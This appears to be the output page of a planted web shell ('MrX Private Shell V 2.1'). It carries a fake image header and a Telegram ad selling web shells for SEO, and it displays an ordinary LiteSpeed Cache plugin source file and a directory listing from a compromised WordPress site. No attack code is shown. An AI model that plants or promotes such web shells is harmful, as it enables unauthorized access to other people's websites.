����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* The class to operate post editor metabox settings.
*
* @since 4.7
* @package LiteSpeed
*/
namespace LiteSpeed;
defined( 'WPINC' ) || exit();
/**
* Class Metabox
*
* Registers and handles LiteSpeed options shown in the post/page edit screen.
*/
class Metabox extends Root {
const LOG_TAG = '📦';
const POST_NONCE_ACTION = 'post_nonce_action';
/**
* Map of metabox settings keys to labels.
*
* @var array
*/
private $_postmeta_settings;
/**
* Init the setting list.
*
* @since 4.7
*/
public function __construct() {
// Append meta box.
$this->_postmeta_settings = [
'litespeed_no_cache' => __( 'Disable Cache', 'litespeed-cache' ),
'litespeed_no_image_lazy' => __( 'Disable Image Lazyload', 'litespeed-cache' ),
'litespeed_no_vpi' => __( 'Disable VPI', 'litespeed-cache' ),
'litespeed_vpi_list' => __( 'Viewport Images', 'litespeed-cache' ),
'litespeed_vpi_list_mobile' => __( 'Viewport Images', 'litespeed-cache' ) . ' - ' . __( 'Mobile', 'litespeed-cache' ),
];
}
/**
* Register post edit settings.
*
* @since 4.7
* @return void
*/
public function register_settings() {
add_action( 'add_meta_boxes', [ $this, 'add_meta_boxes' ] );
add_action( 'save_post', [ $this, 'save_meta_box_settings' ], 15, 2 );
add_action( 'attachment_updated', [ $this, 'save_meta_box_settings' ], 15, 2 );
}
/**
* Register meta box.
*
* @since 4.7
*
* @param string $post_type Current post type.
* @return void
*/
public function add_meta_boxes( $post_type ) {
if ( apply_filters( 'litespeed_bypass_metabox', false, $post_type ) ) {
return;
}
$post_type_obj = get_post_type_object( $post_type );
if ( ! empty( $post_type_obj ) && ! $post_type_obj->public ) {
self::debug( 'post type public=false, bypass add_meta_boxes' );
return;
}
add_meta_box( 'litespeed_meta_boxes', 'LiteSpeed', [ $this, 'meta_box_options' ], $post_type, 'side', 'core' );
}
/**
* Show meta box content.
*
* @since 4.7
* @return void
*/
public function meta_box_options() {
require_once LSCWP_DIR . 'tpl/inc/metabox.php';
}
/**
* Save settings.
*
* @since 4.7
*
* @param int $post_id Post ID.
* @param \WP_Post $post Post object.
* @return void
*/
public function save_meta_box_settings( $post_id, $post ) {
global $pagenow;
self::debug( 'Maybe save post2 [post_id] ' . $post_id );
if ( 'post.php' !== $pagenow || ! $post || ! is_object( $post ) ) {
return;
}
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
return;
}
if ( ! $this->cls( 'Router' )->verify_nonce( self::POST_NONCE_ACTION ) ) {
return;
}
self::debug( 'Saving post [post_id] ' . $post_id );
foreach ($this->_postmeta_settings as $k => $v) {
// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput
$val = isset($_POST[$k]) ? $_POST[$k] : false;
$this->save($post_id, $k, $val);
}
}
/**
* Load setting per post.
*
* @since 4.7
*
* @param string $conf Meta key to load.
* @param int|bool $post_id Optional specific post ID, defaults to current query object.
* @return mixed|null Meta value or null when not set.
*/
public function setting( $conf, $post_id = false ) {
// Check if has metabox non-cacheable setting or not.
if ( ! $post_id ) {
$home_id = (int) get_option( 'page_for_posts' );
if ( is_singular() ) {
$post_id = get_the_ID();
} elseif ( $home_id > 0 && is_home() ) {
$post_id = $home_id;
}
}
$val = $post_id ? get_post_meta( $post_id, $conf, true ) : null;
if ( $val ) {
return $val;
}
return null;
}
/**
* Save a metabox value.
*
* @since 4.7
*
* @param int $post_id Post ID.
* @param string $name Meta key name.
* @param string|bool $val Value to save.
* @param bool $is_append If true, append to existing list values.
* @return void
*/
public function save( $post_id, $name, $val, $is_append = false ) {
if ( false !== strpos( $name, VPI::POST_META ) ) {
$val = Utility::sanitize_lines( $val, 'basename,drop_webp' );
}
// Load existing data if has set.
if ( $is_append ) {
$existing_data = $this->setting( $name, $post_id );
if ( $existing_data ) {
$existing_data = Utility::sanitize_lines( $existing_data, 'basename' );
$val = array_unique( array_merge( $val, $existing_data ) );
}
}
if ( $val ) {
update_post_meta( $post_id, $name, $val );
} else {
delete_post_meta( $post_id, $name );
}
}
/**
* Load exclude images per post.
*
* @since 4.7
*
* @param array $exclude_list Current exclude list.
* @return array Modified exclude list.
*/
public function lazy_img_excludes( $exclude_list ) {
$is_mobile = $this->_separate_mobile();
$excludes = $this->setting( $is_mobile ? VPI::POST_META_MOBILE : VPI::POST_META );
if ( null !== $excludes ) {
$excludes = Utility::sanitize_lines( $excludes, 'basename' );
if ( $excludes ) {
// Check if contains `data:` (invalid result, need to clear existing result) or not.
if ( Utility::str_hit_array( 'data:', $excludes ) ) {
$this->cls( 'VPI' )->add_to_queue();
} else {
return array_merge( $exclude_list, $excludes );
}
}
return $exclude_list;
}
$this->cls( 'VPI' )->add_to_queue();
return $exclude_list;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cdn | Folder | 0755 |
|
|
| data_structure | Folder | 0755 |
|
|
| activation.cls.php | File | 17.31 KB | 0644 |
|
| admin-display.cls.php | File | 48.47 KB | 0644 |
|
| admin-settings.cls.php | File | 11.12 KB | 0644 |
|
| admin.cls.php | File | 6.13 KB | 0644 |
|
| api.cls.php | File | 10.36 KB | 0644 |
|
| avatar.cls.php | File | 8.65 KB | 0644 |
|
| base.cls.php | File | 37.66 KB | 0644 |
|
| cdn.cls.php | File | 15.92 KB | 0644 |
|
| cloud-auth-callback.trait.php | File | 10.43 KB | 0644 |
|
| cloud-auth-ip.trait.php | File | 4.33 KB | 0644 |
|
| cloud-auth.trait.php | File | 9.38 KB | 0644 |
|
| cloud-misc.trait.php | File | 10.32 KB | 0644 |
|
| cloud-node.trait.php | File | 5.95 KB | 0644 |
|
| cloud-request.trait.php | File | 19.68 KB | 0644 |
|
| cloud.cls.php | File | 7.32 KB | 0644 |
|
| conf.cls.php | File | 19.53 KB | 0644 |
|
| control.cls.php | File | 24.35 KB | 0644 |
|
| core.cls.php | File | 20.97 KB | 0644 |
|
| crawler-map.cls.php | File | 19.41 KB | 0644 |
|
| crawler.cls.php | File | 44.72 KB | 0644 |
|
| css.cls.php | File | 17.77 KB | 0644 |
|
| data.cls.php | File | 22.21 KB | 0644 |
|
| data.upgrade.func.php | File | 5.72 KB | 0644 |
|
| db-optm.cls.php | File | 15.35 KB | 0644 |
|
| debug2.cls.php | File | 18.4 KB | 0644 |
|
| doc.cls.php | File | 5.45 KB | 0644 |
|
| error.cls.php | File | 7.35 KB | 0644 |
|
| esi.cls.php | File | 27.18 KB | 0644 |
|
| file.cls.php | File | 10.57 KB | 0644 |
|
| guest.cls.php | File | 2.75 KB | 0644 |
|
| gui.cls.php | File | 36.57 KB | 0644 |
|
| health.cls.php | File | 2.83 KB | 0644 |
|
| htaccess.cls.php | File | 29.81 KB | 0644 |
|
| img-optm-manage.trait.php | File | 30.85 KB | 0644 |
|
| img-optm-pull.trait.php | File | 22.1 KB | 0644 |
|
| img-optm-send.trait.php | File | 21.9 KB | 0644 |
|
| img-optm.cls.php | File | 5.26 KB | 0644 |
|
| import.cls.php | File | 4.29 KB | 0644 |
|
| import.preset.cls.php | File | 5.5 KB | 0644 |
|
| lang.cls.php | File | 17.02 KB | 0644 |
|
| localization.cls.php | File | 4.03 KB | 0644 |
|
| media.cls.php | File | 44.08 KB | 0644 |
|
| metabox.cls.php | File | 5.29 KB | 0644 |
|
| object-cache-wp.cls.php | File | 18.82 KB | 0644 |
|
| object-cache.cls.php | File | 20.95 KB | 0644 |
|
| object.lib.php | File | 14.16 KB | 0644 |
|
| optimize.cls.php | File | 38.64 KB | 0644 |
|
| optimizer.cls.php | File | 10.5 KB | 0644 |
|
| placeholder.cls.php | File | 17.93 KB | 0644 |
|
| purge.cls.php | File | 34.41 KB | 0644 |
|
| report.cls.php | File | 6.12 KB | 0644 |
|
| rest.cls.php | File | 9.08 KB | 0644 |
|
| root.cls.php | File | 14.29 KB | 0644 |
|
| router.cls.php | File | 20.76 KB | 0644 |
|
| str.cls.php | File | 3.08 KB | 0644 |
|
| tag.cls.php | File | 9.26 KB | 0644 |
|
| task.cls.php | File | 7.05 KB | 0644 |
|
| tool.cls.php | File | 4.17 KB | 0644 |
|
| ucss.cls.php | File | 16.35 KB | 0644 |
|
| utility.cls.php | File | 26.01 KB | 0644 |
|
| vary.cls.php | File | 21.33 KB | 0644 |
|
| vpi.cls.php | File | 9.38 KB | 0644 |
|